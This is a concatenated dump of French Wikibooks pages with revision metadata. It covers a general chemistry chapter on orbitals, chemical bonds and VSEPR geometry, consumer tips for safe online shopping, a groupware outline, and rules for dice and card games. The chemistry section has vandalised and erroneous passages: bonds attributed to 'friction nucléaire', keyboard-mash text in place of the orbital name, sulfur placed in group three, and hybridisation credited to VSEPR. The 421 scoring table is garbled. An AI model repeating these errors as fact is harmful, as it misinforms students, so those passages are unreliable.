<tr><td>[[Image:3d_xy_orbital.jpg]]</td><td>[[Image:3d_xz_orbital.jpg]]</td><td>[[Image:3d_yz_orbital.jpg]]</td><td>[[Image:3d_x2-y2_orbital.jpg]]</td><td>[[Image:3d_z2_orbital.jpg]]</td></tr> </table> <br clear="all"/> ===Orbitales f et supérieurs=== ''f'' a un moment angulaire 3, cela donne 7 valeurs dans la direction de z . Une orbitale f peut donc contenir 14 électrons. [[Image:Delta-bonding.png]] ''Liaison Delta'' [[Image:Pi-bonding.png]] ''Liaison Pi '' [[Image:P-orbital.png]][[Image:D-orbital.png]][[Image:S-orbital.png]] <br clear="all"/> ---- == Remplissage du nuage électronique == &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;La règle de l'octet se réfère à la tendance qu´ont les atomes d´ avoir huit électrons dans leur coque de valence. L´exception la plus importante est l´hydrogène qui a son plus bas niveau d´énergie quand il a deux électrons dans sa coque de valence. D´autres exceptions notables sont l´aluminium et le bore qui peuvent avoir seulement 6 électrons de valence et quelques atomes du groupe trois de la table périodique qui peuvent en avoir plus que huit dont le soufre. Une autre tendance des atomes est de maintenir la neutralité de la charge totale. Seuls les gaz rares ont une charge nulle avec l´octet réalisé. Tous les autres éléments ont une charge quand ils ont huit électrons. Le résultat de ces deux tendances (octet et neutralité) est la réactivité des atomes qui cherchent à partager des électrons afin de minimiser la charge tout en réalisant l´octet. Composés et liaisons (Chimie générale) 71 43151 2006-05-25T19:20:02Z 82.236.183.164 /* Liaisons covalentes */ {{Chimiegénérale}} == Introduction aux liaisons == &nbsp;&nbsp;&nbsp;&nbsp;En général, les liaisons chimiques sont faits par l'atirance atomique créé par la friction nucléaire Des liaisons peuvent se former entre atomes du même famille ou atomes de familles différents. Il y a différents types de liaisons chimiques qui ont diverses propriétés et donnent lieu à différentes structures. &nbsp;&nbsp;&nbsp;&nbsp;Les liaisons ioniques se forment entre des ions positifs et négatifs. Dans un solide ionique, les électrons se positionnent d´eux-mêmes dans la structure rigide du cristal. NaCl ( sel commun) est un exemple d´une structure ionique. &nbsp;&nbsp;&nbsp;&nbsp;Les liaisons covalentes se forment quand les électrons sont partagés entre deux atomes. Cela donne lieu à deux structures possibles : molécules et réseau solide covalent. Le méthane (CH<sub>4</sub>) est une molécule covalente et le verre est un réseau solide covalent. &nbsp;&nbsp;&nbsp;&nbsp;Il y a liaisons métalliques entre les atomes de métal. Dans une substance avec liaisons métalliques, les électrons externes peuvent circuler librement. Le fer est une substance à liaisons métalliques. == Liaisons ioniques == ===Qu´est-ce que c´est qu´un ion ?=== &nbsp;&nbsp;&nbsp;&nbsp;Les ions sont des atomes ou des molécules qui sont chargés électriquement. Les cations sont chargés positivement et les anions portent une ou des charges négatives. Les ions se forment lorsque les atomes reçoivent ou perdent un ou plusieurs électrons . Comme les électrons sont chargés négativement , un atome qui perd un électron devient chargé positivement ( de la même manière, celui qui gagne un ou plusieurs électrons devient chargé négativement ) ===Description de la liaison ionique=== &nbsp;&nbsp;&nbsp;&nbsp;Des liaisons ioniques se forment entre les ions chargés positivement et négativement. Ces ions de charges opposées s´attirent et restent près l´un de l´autre- ils sont reliés ioniquement- . La loi de l´[[w:Électrostatique|électrostatique]] explique pourquoi cela se passe ainsi : des charges opposées s´attirent et des mêmes charges se repoussent. Lorsque beaucoup d´ions s´attirent, ils forment des grands réseaux cristallins ordonnés où chaque ion est entouré d´ions de charge opposée. == Liaisons covalentes == &nbsp;&nbsp;&nbsp;&nbsp;La liaison covalente se forme lorsque des atomes mettent les électrons en commun pour compléter la couche externe de valence. Ce type de liaison se forme surtout entre les non-métaux.( chlore, soufre, carbone..). ===Liaison simple=== &nbsp;&nbsp;&nbsp;&nbsp;Un exemple de substance liée d´une manière covalente est l´hydrogène gazeux (H<sub>2</sub>). Un atome d´hydrogène seul possède un électron de valence, il en faut deux pour remplir la couche. Quand deux atomes d´hydrogènes se lient, chacun d´eux met en commun son électron avec l´autre atome : les électrons circulent autour de deux atomes au lieu d´un. Chaque atome possède maintenant deux électrons : ils deviennent une molécule stable H<sub>2</sub> dont les atomes sont liés par une liaison covalente simple. ===Liaison double et triple=== &nbsp;&nbsp;&nbsp;&nbsp;Des liaisons covalentes peuvent aussi se former entre des non-métaux par exemple le chlore. L´atome de chlore possède 7 électrons dans sa couche de valence - il en faut 8 pour la compléter. Deux chlores peuvent partager 1 électron pour former une simple liaison covalente . Ils deviennent une molécule de chlore Cl<sub>2</sub> . &nbsp;&nbsp;&nbsp;&nbsp;L´oxygène peut aussi former des liaisons covalentes. Cependant, il a besoin de deux électrons en plus pour compléter sa couche de valence (il en a 6). Deux atomes d´oxygène doivent partager chacun 2 électrons pour compléter leurs couches respectives ayant au total 4 électrons partagés. Il s´agit d´une liaison covalente double. &nbsp;&nbsp;&nbsp;&nbsp;De plus, l'[[w:Azote|azote]] possède 5 électrons de valence ( il en a besoin 3 en plus) pour former la molécule de N<sub>2</sub> dans laquelle les deux atomes N sont liés par une liaison covalente triple . ===Partage d´électrons et orbitales=== &nbsp;&nbsp;&nbsp;&nbsp;Le carbone ne partage pas 4 électrons pour faire une liaison quadruple parce que la quatrième paire d´électrons du carbone ne peut pas physiquement se rapprocher suffisamment. &nbsp;&nbsp;&nbsp;&nbsp;Souvenons-nous que les électrons se trouvent dans les atomes comme des nuages de densité électronique. Le modèle de liaisons de valences travaille selon le principe que les orbitales des divers atomes doivent se superposer pour former une liaison. Il y a divers moyens d´obtenir ces superpositions en formant diverses sortes de liens covalents. ===La liaison sigma=== &nbsp;&nbsp;&nbsp;&nbsp;Le premier type et le plus simple est la superposition de deux dsfgdgfdfds. Cette liaison s´appelle liaison '''"sigma"''' (''''&sigma;'''' est l´équivalent grec de la lettre ''''s''''). Un liaison ''''&sigma;'''' peut aussi se former entre deux orbitale '''p''' qui pointent l´une vers l´autre. ===La liaison pi=== &nbsp;&nbsp;&nbsp;&nbsp;Le second important type de liaison se produit par superposition entre deux orbitales '''p''' parallèles. Il y a formation de deux aires de densité électronique au dessus et en dessous de la molécule. Ce type de superposition est appelé '''pi''' (''''&pi;'''' , de l´ équivalent grec de p). ===La structure de [[w:Lewis|Lewis]]=== &nbsp;&nbsp;&nbsp;&nbsp;La "stucture de Lewis" est une manière simple de représenter les molécules covalentes et de montrer comment elles sont liées. Chaque atome est représenté par son symbole chimique, une liaison est indiquée par un trait simple, double ou triple selon que la liaison entre les atomes est simple, double ou triple. Finalement, les électrons qui ne servent pas pour la liaison sont représentés par des points autour du symbole de l´élément. Dans une structure de Lewis seul les électrons de valence sont pris en compte. == Liaisons métalliques == == Electronégativité == L'électronégativité d'un élément dans une molécule est la mesure de sa capacité à attirer les électrons. Les organiciens utilisent l'échelle de PAULING pour classer les éléments. == Stéréométrie moléculaire == &nbsp;&nbsp;&nbsp;&nbsp;Dans les molécules covalentes, chaque atome est lié à un autre atome. Par définition, ces liaisons sont constituées par des paires d´électrons. Étant chacune porteuse de charges électriques négatives, ces paires d´électrons se repoussent et tendent à s´écarter le plus possible afin de stabiliser la molécule. Cela engendre des formes caractéristiques pour les les molécules covalentes. Le modèle de Gillespie, du nom du chimiste canadien R.J Gillespie, encore nommé "modèle de répulsion des électrons de la couche de valence" (VSEPR valence shell electron pair repulsion) peut être utilisé pour prévoir approximativement la forme des molécules. &nbsp;&nbsp;&nbsp;&nbsp;Les molécules ne sont pas statiques : leurs liaisons sont continuellement tordues, tendues et fléchies. En accord avec la théorie quantique, les énergies de ces liaisons sont quantifiées, ce qui donne la base de la spectroscopie infrarouge: un moyen important pour analyser les molécules organiques. &nbsp;&nbsp;&nbsp;&nbsp;Le modèle VSEPR n ´est pas un bon modèle pour déterminer la forme des molécules. Il ne permet que d'interpréter les formes de molécules découvertes expérimentalement. I permet de prédire la forme de molécules similaires - ce qui rend le modèle très utile. Les méthodes modernes pour calculer l´état le plus stable des molécules peuvent prendre plusieurs heures du temps d´un superordinateur. ===La forme tétraédrique=== &nbsp;&nbsp;&nbsp;&nbsp;Considérons une molécule covalente simple, le méthane (CH<sub>4</sub>). Quatre atomes d'hydrogène entourent l´atome de carbone dans un espace à trois dimensions,. Chaque liaison CH consiste en une paire d´électrons. Les paires d'électrons tendent à s´écarter le plus possible sous l'effet de la répulsion électrostatique. On pourrait penser que cela mène à une structure plate avec chaque atome d´hydrogène séparé par 90&deg; . Cependant, en trois dimensions, il y a un e configuration plus efficace. Si chaque atome d´hydrogène est un sommet d´un tétraèdre centré sur l´atome de carbone, ils seront séparés d´environ 109.5&deg; - le maximum possible. ===Hybridation=== &nbsp;&nbsp;&nbsp;&nbsp;Le modèle de liaisons de valences suggère que pour qu´une liaison covalente se forme, deux "orbitales" atomiques doivent se superposer suffisamment pour qu´elles puissent partager ces électrons. L'atome de Carbone possède une orbitale 2s et trois orbitales 2p. Comment ces orbitales peuvent-elles se superposer à une orbitale 1s de l'atome d'Hydrogène? On devrait, a priori, observer deux types de liaisons entre les atomes C et H. Or, l'observation montre que les quatres liaisons C-H sont identiques. Comment le modèle VSEPR tient-il compte de ce problème ? En inventant l'hybridation des orbitales. Dans l´atome de carbone, les orbitales 2s et 2p ont des énergies différentes. Si l´orbitale 2s combine avec les trois orbitales 2p , il se forme quatre nouvelles orbitales hybrides '''sp<sup>3</sup>'''. Ces nouvelles orbitales hybrides sont identiques - elles sont disposées dans une géométrie tétraédrique et ont la même énergie. L´orbitale 1s de l´atome d´hydrogène peut se superposer avec une de ces orbitales hybrides du carbone. Ces nouvelles orbitales sont identiques- elles ont un arrangement tétraédrique et ont la même énergie (elles sont ¦dégénérées. Les orbitales 1s de l´atome d´hydrogène peuvent maintenant se recouvrir et former avec les orbitales ¦hybrides des liaisons covalentes simples. sp<sup>3</sup> '''Géométrie des orbitales hybrides'¦'' <table cellpadding="2px" border="1px"><tr> <th¦>s¦p<br>[[Image:sp_hybrid_orbital.jpg]]</th> <th>sp<sup>2</sup><br>[[Image:sp2_hybrid_orbital.jpg]]</th> <th>sp<sup>3</sup><br>[[Image:sp3_hybrid_orbital.jpg]]</th> <th>sp<sup>3</sup>d<br>[[Image:sp3d_hybrid_orbital.jpg]]</th> <th>sp<sup>3</sup>d<sup>2</sup><br>[[Image:sp3d2_hybrid_orbital.jpg]]</th> </tr></table> ===Les paires d´électrons non-liants=== &nbsp;&nbsp;&nbsp;&nbsp;Le modèle VSEPR traite les paires d´électrons non-liants de la même façon que les électrons de liaison. Dans l´ammoniac (NH<sub>3</sub>) par exemple, il y a trois atomes d´hydrogène et une paire d´électrons non-liants entourant l´atome central d'Azote. Vu qu´il y a quatre groupes, l´ammoniac a une forme tétraédrique mais contrairement au méthane, l´angle entre les atomes d´hydrogène est un peut plus petit, '''107.3&deg;'''. On peut expliquer ce fait en supposant qu´une paire d´électrons non-liants prend plus de place physiquement qu´une paire d´électrons de liaison. Cette explication est raisonnable : dans une liaison, les électrons de liaison sont distribués entre deux atomes tandis qu´une paire non-liante est située seulement sur une paire. Vu qu´elle est plus grosse la paire non-liante repousse les autres électrons. L'utilisation de ce modèle permet également de justifier la géométrie de la molécule d'eau. Dans l´eau (H<sub>2</sub>O), l'atome O est lié à deux atomes H et porte deux paires d´électrons non-liants, formant quatre sites de répulsion au total. Les paires d´électrons se repoussent dans une géométrie tétraédrique. L´angle entre les atomes d´hydrogène est de '''104.5&deg;''' ce qui est attendu par le modèle. Les deux électrons non-liants rapprochent les paires liantes, donnant un angle plus petit que pour l´ammoniac. ===Notion de '''site de répulsion'''=== &nbsp;&nbsp;&nbsp;&nbsp;Dans un modèle électrostatique de la molécule, chaque paire d'électrons, liante ou non-liante, forme une concentration de charges négatives. Chacune de ces paires tend donc à repousser les autres paires d'électrons qui figurent dans la molécule: on parle de site de répulsion. La détermination du nombre de sites de répulsion dans une molécule permet de prévoir sa géométrie. * 2 sites de répulsion: géométrie linéaire; les sites de répulsion sont orientés à 180° l'un de l'autre. * 3 sites de répulsion: géométrie triangulaire; les sites de répulsion sont orientés à 120° l'un de l'autre. * 4 sites de répulsion: géométrie tétraédrique; les sites de répulsion sont orientés à 109°27' l'un de l'autre. * 5 sites de répulsion: géométrie sous forme de bipyramide à base triangulaire; 3 sites sont orientés à 90° l'un de l'autre dans un plan cependant que 2 autres sites sont disposés de part et d'autre de ce plan, à 90°. * 6 sites de répulsion: géométrie sous forme de bipyramide à base carrée; 4 sites sont orientés à 90° l'un de l'autre dans un plan cependant que 2 autres sites sont disposés de part et d'autre de ce plan, à 90°. ====Atomes pauvres en électrons==== &nbsp;&nbsp;&nbsp;&nbsp;Dans quelques molécules, il y a moins de quatre paires d´électrons de valence. Cela arrive pour les atomes déficients en électrons comme le bore et le béryllium, qui ne respectent pas la règle de l´octet (ils ne peuvent avoir l´un,6 ou l´autre, 4 électrons de valence). Dans le trifluorure de bore (BF<sub>3</sub>), il n´y a que trois paires d´électrons qui se repoussent l´un l´autre pour former une structure plane . Chaque atome de fluor est séparé de 120&deg;. Un autre type d´orbitales hybrides est formé dans ces molécules. L´orbitale 2s et deux orbitales 2p se combinent pour pour former trois '''sp<sup>2</sup> orbitales hybrides '''. La troisième orbitale p est vide. &nbsp;&nbsp;&nbsp;&nbsp;Le béryllium de son coté, forme seulement deux paires d´électrons de valence . Elles se repoussent jusqu´à 180&deg;, pour former une molécule linéaire. Un exemple est le chlorure de béryllium qui a deux atomes de chlore liés à l´atome de béryllium. Une orbitale 2s et une orbitale 2p combinent pour former deux '''orbitales sp hybrides'''. Acheter sur Internet 72 31151 2006-02-01T20:41:05Z 84.97.198.100 Lorsqu'on achète sur l'[[w:fr:Internet|Internet]], il est préférable de respecter quelques précautions. == Achetez seulement sur des sites reconnus == # Prenez des renseignements sur la crédibilité du site marchand avec lequel vous allez traiter : est-il lié à une société connue et sérieuse ? Les articles de journaux le concernant sont-ils bons ? Est-il bien perçu dans les forums ? # Est-il affilié à un organisme de référencement et de garantie de qualité de service comme L@belsite [http://www.labelsite.org]. # Recherchez toutes les informations permettant de le joindre : Nom de la société, adresse postale, téléphone du service client. # Demandez tous les renseignements sur les conditions de la vente, de la livraison. == Utilisez un système de transaction sécurisé == # Assurez-vous que votre paiement va se faire par l'intermédiaire d'une banque afin que votre numéro de carte bancaire reste inconnu du commerçant (le logo de la banque doit apparaître sur le site). # Au moment du paiement, vous devez être redirigé vers le site de paiement sécurisé de sa banque : l'icône d'un petit cadenas s'affiche en bas à droite de l'écran, et l'adresse du site doit commencer par https ('s' comme sécurité). == Ne donnez jamais votre code de carte bancaire == # À aucun moment et pour aucune raison vous ne devez donner le code secret de votre carte bancaire : '''Attention''', si ce code vous est demandé, vous êtes assurément entre les mains d'escrocs. # Les seules informations qui doivent vous être demandées (sur le site sécurisé) sont la série à 16 chiffres identifiant de votre carte bancaire, la date d'expiration de votre carte et éventuellement les trois derniers chiffres inscrits sur le panneau signature au verso de votre carte. # Cliquez sur la rubrique ''confidentialité'' pour demander que vos coordonnées bancaires ne soient pas conservées. Si cette rubrique n'est pas présente, envoyez une lettre par la poste. # Hors du site sécurisé de paiement, n'envoyez jamais d'informations confidentielles (en particulier celles figurant sur votre carte bancaire) quelque soit le moyen. En particulier jamais par courriel (e-mail). == Assurez-vous que votre commande a bien été enregistrée == # Conservez précieusement le document récapitulant votre commande et les conditions de livraison et de paiement. En général tous les sites sérieux prévoient ce document ou renvoient une confirmation par courriel (e-mail). # Dans tous les cas faites une copie-écran de la commande, juste avant votre validation. Faites un ''coller'' des informations dans un document texte (notepad pour Windows) et imprimez-le. == Signalez immédiatement tout problème à votre banquier == # Si vos coordonnées ont été utilisées frauduleusement malgré les conseils ci-dessus, et que vous êtes bien en possession de votre carte bancaire, votre responsabilité n'est pas engagée. # Dès que vous constatez un débit injustifié sur votre relevé de compte, signalez-le immédiatement par écrit à votre banquier. Votre banque sera tenue de vous rembourser dans un délai maximal d'un mois. == Liens externes == * [http://www.cartes-bancaires.com Groupement des cartes bancaire] * [http://www.droitdunet.com Le service pratique des droits sur l'Internet] * [http://www.webmarchand.com Annuaire de marchands francophones]. ==Labels de qualité== * [http://www.Fia-net.com Sites marchands évalués] * [http://www.labelsite.org Labelsite]. ===Comparateurs commerciaux=== * [http://www.i-comparateur.com/ i-Comparateur de prix] * [http://www.achetezfacile.com/ AchetezFacile.com : Comparateur de Prix] * [http://fr.Bizrate.com/ fr.bizrate: Comparateur de Prix]. * [http://www.leguide.com/ LeGuide.com : Infos consommateurs et service de litiges avec les e-commercants en cas de problème] * [http://www.Shopzilla.fr/ shopzilla.fr: Comparateur de Prix]. Groupware 73 41903 2006-05-10T18:01:47Z Teckel 1461 {{ébauche}} = Introduction = ==Définition== On peut définir le Groupware comme un ensemble d'outils logiciels permettant à des utilisateurs de gérer des travaux en commun à travers le réseau informatique. Cette notion est assez vague. Et de nombreux outils peuvent faire partis d'un groupware. Un wiki est un exemple d'outil groupware. Quelques exemples d'outils * Carnet d'adresses * Client de messagerie * Calendrier * Gestion de dossiers * Gestion de projets == Evolution des concepts == === Délégation/Mandataire === Chaque module doit permettre d'avoir des groupes ou des individus mandataires selon différents niveaux de droits. Voici les différents niveaux de droits possibles: * lecture * écriture * modifier * effacer * au nom de = Les fonctionnalités = == Authentification == == Le courrier == == Carnet d'adresse == * Importer/exporter les contacts dans différents formats * choix de contacts personnels, ouverts au groupe ou à tout le monde * Table view of all project members * vue par catégorie * historique : voir les notes relatives au contact * système de filtres * Carnet personnel * Carnet d'entreprise == L'agenda == - Single mode: views for day, week, month and full list - Group mode: view schedules of several users together - Insert events into the schedule of other users - Create profiles for frequently used groups - Repeat events: each day, week, month or year - Assign a comment, contact or project to an event - Keep an event private or allow to publish - Start and end time of an event clickable - reserve resources (e.g. rooms) for events - SMS or email reminder - print each view == Gestion documentaire == == La liste des taches == - quick insert of short memos - user with chief status assigns todos to others - list view with delete option == Gestion des incidents == - aka known as help desk or trouble ticket system - Customer adds request on special page - optional sets due time - searchable knowledge base of solved requests - automatic confirmation by mail - automatic or manual assignment to users - List- und Form view - Sort- und Filterfunctions - Define a request as a subproject - Assign work time to request (for later billing) == Tableau blanc == == Publication web == La publication web se fait aisément par des outils simples comme les "wiki" (mot hawaiien qui signifie "vite") et les blogues (journaux Web). == Messagerie instantanée ou Chat == - view members who are online == Forum == - View threads in tree structure - n elements per page - filter system - print postings == Système de vote == - select individual persons for a vote - Editor to create the voting - Up to the three answers possible (single or multiple) - Table view of all actual and past votings == Marques pages == - Bookmark list for a quick access to important URL's - editor to insert new bookmarks - check for double entries == Gestion du temps passé == - Quickbuttons for 'start' and 'end' in the main screen - Optional: out on duty - back from duty - Manual Inserts afterwards are possible ... - ... optionally with a note to the chief. - Assign working days to several projects - shows all users who are '@ work' - Monthly overview == Pense bête == - Small window that shows the actual events - Additional option: allert box reminds you before an event == Bloc Note == - Save your personal memos and thoughts - Quick overview on all notes, edit function - assign a contact or project to a note - Kepp a note private or open to the group - Copy or mail to another user - Full text search == Information de l'entité == == Récupération des informations de sites web tiers == == Récupération de valeurs boursières == == Gestion de projet == == Gestionnaire de fichier == = Le workflow = Le workflow ou "Flux de Travail" Article de wikipédia : http://fr.wikipedia.org/wiki/Workflow =Exemples= ==Lotus Notes== * Serveur domino * Client lourd spécifique à Lotus Notes ou client léger (interface web) ==Les groupwares basés sur des serveurs web== Il existe plusieurs exemple de groupware basé sur des modules php * more.groupware http://mgw.k-fish.de/ * eGroupWare http://www.egroupware.org * opengroupware http://www.opengroupware.org/ ===eGroupeWare=== eGroupWare est un projet opensource de logiciel groupware. Il est basé sur un serveur web, le client est une interface web. la version actuelle est la 1.2. Le site du projet est http://www.egroupware.org et il comporte une version de démonstration en ligne http://www.egroupware.org/demo ===opengroupware=== Site du projet http://www.opengroupware.org/ Il permet d'utiliser à la fois une interface web, mais aussu des clients externes (Microsoft Outlook, Mozilla Calendar) ===more.groupware=== * Site du projet http://mgw.k-fish.de/ * En principe il existe une version de démonstration en ligne * la version actuelle est la 0.7.4 =Liens= * Articles de wikipédia ** Le groupware : http://fr.wikipedia.org/wiki/Groupware ** La messagerie instantanée : http://fr.wikipedia.org/wiki/Messagerie_Instantanée ** Le workflow : http://fr.wikipedia.org/wiki/Workflow * Article de commentcamarche ** http://www.commentcamarche.net/entreprise/groupware.php3 =Ouvrage= Il existe un livre en français concernant la notion de groupware : "Groupware & workflow" de Setrag Khoshafian Boîte à jeux 74 41694 2006-05-06T16:00:36Z 61.68.177.144 Updating from PNG to SVG {| style="border:1px solid;border-bottom:2px solid;border-right:2px solid;" align=center cellpadding=10 cellspacing=0 | bgcolor=#ffeecc | [[Image:Two red dice 01.svg|200px|dés à jouer]] | bgcolor=#ffffdd | Il existe une multitude de jeux dans le domaine public et il pourrait être intéressant que le projet Wikimedia collecte les règles de ces jeux. Ce Wikilivre '''boite à jeux''' s'inscrit dans cet objectif, en se limitant volontairement à un type de jeux. Il s'agit de jeux de société pouvant se jouer autour d'une table avec un matériel relativement restreint : {| style="border:1px solid #aaaaaa" cellpadding=3 align=center | * papier, ciseaux, règle et crayons * 50 pions blanc, 50 pions noirs, 20 pions rouges, 20 pions bleus et 20 pions verts * 2 jeux de 54 cartes avec un dos différent * 5 dés à six faces * 2 gobelets |} À ce matériel s'ajoutent les plateaux à imprimer qui font partie de ce Wikilivre. |} ==Règles disponibles== ===jeux oraux=== * [[Boîte à jeux/Le macaque|le macaque]] ===jeux de plateaux=== * [[Boîte à jeux/Bagh-Bandi|Bagh-Bandi]] * [[Boîte à jeux/Le neutron|le neutron]] ===jeux de cartes=== * [[Boîte à jeux/L'ascenseur|l'ascenseur]] * [[Boîte à jeux/La bataille corse|la bataille corse]] * [[Boîte à jeux/La belote|la belote]] * [[Boîte à jeux/La manille|la manille]] * [[Boîte à jeux/Le barbu|le barbu]] * [[Boîte à jeux/Le huit américain|le huit américain]] ===jeux de dés=== * [[Boîte à jeux/421|421]] * [[Boîte à jeux/Zanzi|Zanzi]] * [[Boîte à jeux/Buckdice|Buckdice]] * [[Boîte à jeux/Sept|Sept]] * [[Boîte à jeux/Yams|Yams]] ===autres=== * [[Boîte à jeux/Awalé|Awalé, awélé ou walé]] * [[Boîte à jeux/Mafia|Mafia]] ==Plateaux de jeux à imprimer== * [[media:Damier5-5.pdf|damier 5x5]] * [[media:Grille de Yams.pdf|Grille du jeu de Yams]] Image:Baghbandistart.png 75 11879 2004-07-24T11:25:28Z Greudin 1 disposition des pions au debut d'une partie de Bagh-Bandi Auteur : Ske Licence : inconnue Boîte à jeux/Bagh-Bandi 76 27227 2005-12-21T23:04:32Z François Haffner 951 [[Boite à jeux/Bagh-Bandi]] déplacé vers [[Boîte à jeux/Bagh-Bandi]] 2 Joueurs<br/> durée d'une partie: 20mn '''But de jeu:''' pour les tigres prendre les chèvres, pour les chèvres bloquer les tigres pour les empêcher de se déplacer. '''Matériel:''' un [[media:damier5-5.pdf|damier 5x5]], 2 pions rouges, 20 pions bleus. '''Règles:'''Les tigres sont représentés par les pions rouges. Les chèvres représentées par les pions bleus sont placées par piles de cinq comme sur la figure ci dessous. [[Image:baghbandistart.png|400px|center]] Les joueur qui a les chèvres commence: il prend un pion de l'une de ses piles et le déplace d'un pas en avant, en arrière ou en diagonale. Puis le joueur qui a les tigres déplace l'un de ses pions de la même manière, et ainsi de suite. Pour prendre une chèvre, un tigre doit, comme aux dames, sauter par dessus et atterrir sur la case suivante qui doit donc être vide. Si la disposition des chèvres le permet, le tigre peut prendre plusieurs chèvres du même coup à condition que la trajectoire du saut reste rectiligne. En sautant par dessus une pile le tigre ne prend qu'une chèvre de la pile, il ne peut pas alors faire une autre prise dans le même coup et doit s'arrêter. Les chèvres ne peuvent pas sauter par dessus les tigres. Les tigres ont gagné quand ils ont éliminé toutes les chèvres. La victoire est aux chèvres si elles arrivent à bloquer les deux tigres en leur empêchant toute possibilité de déplacement. {{BoiteJeux}} Image:Damier5-5.pdf 77 11881 2004-07-24T11:31:13Z Greudin 1 Damier 5x5 par Ske Damier 5x5 par Ske Image:80px-Sourceberg.jpg 79 11883 2004-12-29T14:54:49Z Xillimiandus 134 + redirect. #REDIRECT [[wikisource:Main Page:Français]] Image:80px-Wikiquote.png 80 34142 2006-02-23T09:48:02Z 217.225.114.107 REDIRECT [[q:Accueil]] {{nowCommons|wikiquote-logo-en.png}} Image:80px-Wiki-meta.png 81 11885 2004-12-29T14:40:59Z Xillimiandus 134 + redirect. #REDIRECT [[m:Accueil]] Image:80px-Nohat-logo-X-fr.png 82 11886 2004-12-29T14:40:45Z Xillimiandus 134 + redirect. #REDIRECT [[w:]] Image:80px-Wiktionary.png 83 34131 2006-02-23T08:51:01Z 217.225.114.107 #REDIRECT [[wikt:]] {{nowCommons|wiktionary-logo-fr.png}} Wikilivres:À propos de Wikibooks 84 11888 2004-07-24T12:54:09Z Greudin 1 Wikilivres:À propos de Wikibooks déplacé vers Wikilivres:Wikilivres #REDIRECT [[Wikilivres:Wikilivres]] Image:Neutronstart.png 85 11889 2004-07-24T12:56:23Z Greudin 1 start of neutron game / début du jeu du neutron. Auteur : Ske start of neutron game / début du jeu du neutron. Auteur : Ske Image:Neutronsample.png 86 11890 2004-07-24T12:57:59Z Greudin 1 Auteur: Ske Auteur: Ske Image:Orbitale 1s.jpg 87 11891 2004-07-24T13:13:37Z Hibisco-da-Ilha 7 Orbitale atomique 1s Copié de la version anglaise "General chemistry" [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] 24 jul 2004 à 13:13 (UTC) Image:Orbitale 2p.jpg 88 11892 2004-07-24T13:29:07Z Hibisco-da-Ilha 7 Orbitales atomiques 2p Orbitales atomiques 2p Image:Orbitales 2p.jpg 89 11893 2004-07-24T13:40:27Z Hibisco-da-Ilha 7 Orbitales atomiques 2p copiée de l´édition anglaise "General chemistry" Boîte à jeux/L'ascenseur 90 27234 2005-12-21T23:10:12Z François Haffner 951 [[Boite à jeux/L'ascenseur]] déplacé vers [[Boîte à jeux/L'ascenseur]] * Nombre de joueurs : 3 à 6 * Durée d'une partie : 40 minutes == But de jeu == Réaliser le nombre de plis annoncés. == Matériel == 1 jeu de 54 cartes. == Règles == A la première manche, le donneur distribue une carte. A la seconde manche il distribue deux cartes. Et ainsi de suite jusqu'à ce qu'il n'en ait plus assez. Il diminue alors le nombre de cartes distribuées à chaque manche jusqu'à revenir à une carte pour la dernière manche. Si après la distribution il ne reste plus de cartes dans le talon, la partie sera sans atouts. Sinon on retourne la première carte du talon : elle détermine la couleur de l'atout. En commençant par le joueur qui est à droite du donneur, chaque joueur indique le nombre de plis qu'il compte réaliser. Le donneur est limité dans son choix dans la mesure ou le nombre de plis annoncés ne peut pas être égal au nombre de plis réalisables. Le jeu se déroule selon les règles suivantes : * Le joueur à la droite du donneur lance la première carte. * L'as est la carte la plus faible jusqu'au roi qui est la plus forte. * Il est interdit de jouer atout si on peut fournir la couleur demandée mais on est obligé de couper si on peut le faire. * L'atout est toujours plus fort que la couleur coupée. * Le joueur qui encaisse le pli lance le pli suivant. A la fin de la manche les joueurs comptent le nombre de plis encaissés : * S'ils n'ont pas réalisé leur annonce : ils retranchent à leur total la différence entre le nombre de plis annoncés et le nombre de plis réalisés ; * Dans le cas contraire : ils marquent le nombre de plis annoncés plus la somme des points retranchés par les joueurs qui n'ont pas réalisé leur annonces. Le joueur situé à droite du donneur devient lui même le donneur de la manche suivante. == Exemple d'une manche == * Jeanne avait annoncé 2 plis elle en réalise 3 : elle marque -1 points * Pierre avait annoncé 4 plis il en réalise 1 : il marque -3 points * Paul avait annoncé 2 plis elle en réalise 2 : elle marque 6 points (2 annoncé + 4 retranchés) * Martine avait annoncé 1 plis elle en réalise 1 : elle marque 5 points (1+4) {{BoiteJeux}} Boîte à jeux/421 91 27243 2005-12-21T23:18:09Z François Haffner 951 [[Boite à jeux/421]] déplacé vers [[Boîte à jeux/421]] 2 joueurs <br/> durée d'une partie: 10mn '''Matériel:''' 3 dés à six faces '''Règles:''' Les joueurs ont le même nombre de jetons, de plus on en place onze au milieu de la table, ce tas constitue le pot. ''PREMIERE PHASE'', dite la prenante. Chaque joueur n'a droit qu'à un coup de dés et l'on distribue les onze jetons aux joueurs ayant amené les plus bas points. ''DEUXIEME PHASE'', dite la décharge. Le joueur ayant amené le plus fort point donne ses pions ou joueur ayant fait le moins: 10 jetons pour 421<br/> 7 jetons pour 3 as<br/> 6 jetons pour 2 as<br/> 5 jetons pour 2 as<br/> 4 jetons pour 2 as<br/> 3 jetons pour 2 as<br/> 2 jetons pour 2 as<br/> 3 jetons pour un Zanzi<br/> 2 jetons pour un Poker<br/> Tous les autres nombres comptent pour un pion. Comme pour le [[Zanzi]], à la deuxième phase, le joueur a la possibilité de jeter les dés plusieurs fois, mais pas plus de trois fois en ayant la possibilité de laisser sur la piste un ou deux dés, si les chiffres sortis lui plaisent. Néanmoins, lorsque le joueur qui débute a obtenu son point en ne jetant les dés qu'une ou deux fois, les suivants n'ont droit qu'à une ou deux jetées.<br/> On dit qu'il y a rampot lorsqu'il y a égalité entre deux joueurs. Les deux joueurs ont le droit de recommencer une fois.<br/> {{BoiteJeux}} Boîte à jeux/Zanzi 92 27245 2005-12-21T23:18:24Z François Haffner 951 [[Boite à jeux/Zanzi]] déplacé vers [[Boîte à jeux/Zanzi]] A partir de 3 joueurs <br/> durée d'une partie: 20mn '''But de jeu:''' Faire ZANZI, c'est-à-dire tirer 3 dés de même valeur. '''Matériel:''' 3 dés à six faces '''Règles:''' On dit ZANZI d'as ou de 6 ou de 5. Si personne ne fait ZANZI on totalise les dés suivants :<br/> As : 10 points, - 6 : 6 points, - 5 : 5 points, --- etc. Marche du jeu : Jeter les dés. Si le jeu ne plaît pas reprendre un ou deux dés et les relancer au maximum 3 fois. Si le premier joueur ne lance qu'une ou 2 fois, les suivants doivent faire de même. S'il y a 